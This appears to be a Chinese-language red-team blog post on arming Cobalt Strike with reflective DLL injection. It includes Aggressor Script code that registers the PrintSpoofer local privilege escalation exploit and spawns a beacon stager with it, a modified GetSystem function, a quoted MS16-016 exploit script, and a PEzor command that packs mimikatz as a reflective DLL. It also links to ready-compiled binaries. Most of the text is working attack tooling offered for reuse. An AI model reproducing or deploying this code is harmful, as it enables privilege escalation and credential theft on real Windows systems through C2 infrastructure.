众所周知,CobaltStrike是一款优秀的C2工具,但其没有为我们提供想metasploit那样丰富的提权功能,好在其AggressorScript为我们提供了无限的可能,也衍生除了很多优秀的cna脚本,比如taowu等等。里面就包含了提权功能,下面是部分脚本中提权功能的实现:
可以看到方式各不相同,部分需要exe落地,而有的则使用了今天我们需要讲的ReflectiveDLLInjection,通常,在进程启动时,DLL被加载到内存中;但是,DLL也可以注入到正在运行的进程中。通过DLL注入,我们不再需要创建进程来执行代码(各种DLL注入技术);但是,我们仍然需要将文件写入磁盘才能完成注入。反射型DLL注入解决了这个问题。该技术由StephenFewer开发,允许我们将代码注入现有进程而无需写入磁盘。因此,利用型反射DLL注入,我们可以跳过写入磁盘以及创建进程,直接将代码完整注入内存,AggressorScript脚本提供了一些关于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn
那么我们下面就来写一个简单的ReflectiveDLLInjection,在之前已经有了比较成熟的项目,我们直接拿过来用即可:https://github.com/stephenfewer/ReflectiveDLLInjection
效果为启动弹出helloworld。
然后就是写cna了,简单的写一下就行:
alias reflective_dll {
btask($1, "reflective_dll test");
bdllspawn!($1, script_resource("reflective_dll.x64.dll"), $null, "MessageBox" , 1000);
}
然后CobaltStrike运行reflective_dll就行啦。那么上面说到了提权,我们就来看一下如何将提权exp进行反射处理,这里以PrintSpoofer(https://github.com/itm4n/PrintSpoofer)为例:
首先导入相关的头文件:ReflectiveDllInjection.h、ReflectiveLoader.cpp、ReflectiveLoader.h。
接下来,就是删除原文件中的main了。
然后需要更改的就是GetSystem函数,原来的exp,该函数是用来进行后续的CreateProcessAsUser操作的,我们这里用不到,把它改成下面这样就行了:
BOOL GetSystem(HANDLE hPipe)
{
if (!ImpersonateNamedPipeClient(hPipe))
{
wprintf(L"ImpersonateNamedPipeClient(). Error: %dn", GetLastError());
return FALSE;
}
wprintf(L"[+] ImpersoneteNamedPipeClient OKn");
return TRUE;
}
然后将之前在main中需要实现的过程,在dll中进行实现:
基本上就差不多了,接下来就是编译成x86、x64版本的就行啦。
然后来编写我们的cna文件:
注册提权使用的是beacon_exploit_register
sub ms16_016_exploit {
local('$stager');
# check if we're on an x64 system and error out.
if (-is64 $1) {
berror($1, "ms16-016 exploit is x86 only");
return;
}
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms16-016", "T1068");
# generate our shellcode
$stager = payload($2, "x86");
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, getFileProper(script_resource("modules"), "cve-2016-0051.x86.dll"), $stager, "ms16-016", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016_exploit);
仿照该代码,编写我们的:
sub printspoofer {
btask($1, "Task Beacon to run " . listener_describe($2) . " PrintSpoofer");
if (-is64 $1)
{
$arch = "x64";
$dll = script_resource("x64.dll");
} else {
$arch = "x86";
$dll = script_resource("x86.dll");
}
$stager = shellcode($2, false, $arch);
bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000);
bstage($1, $null, $2, $arch);
}
beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer);
好了,进行测试。。
除了自己写之外呢,最近新出的pezor也可以实现相同的效果:
PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:userspublicmimi.out" "token::whoami" "exit"'
文章中的所涉及的编译好的文件已上传至GitHub,需要的自取:https://github.com/lengjibo/RedTeamTools/tree/master/windows/PrintSpoofer_ReflectiveDLL
参考文章:
https://payloads.online/archivers/2020-03-02/1
https://bbs.pediy.com/thread-246930.htm
https://cobaltstrike.com/aggressor-script/functions.html
本文始发于微信公众号(鸿鹄实验室):使用ReflectiveDLLInjection武装你的CobaltStrike
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论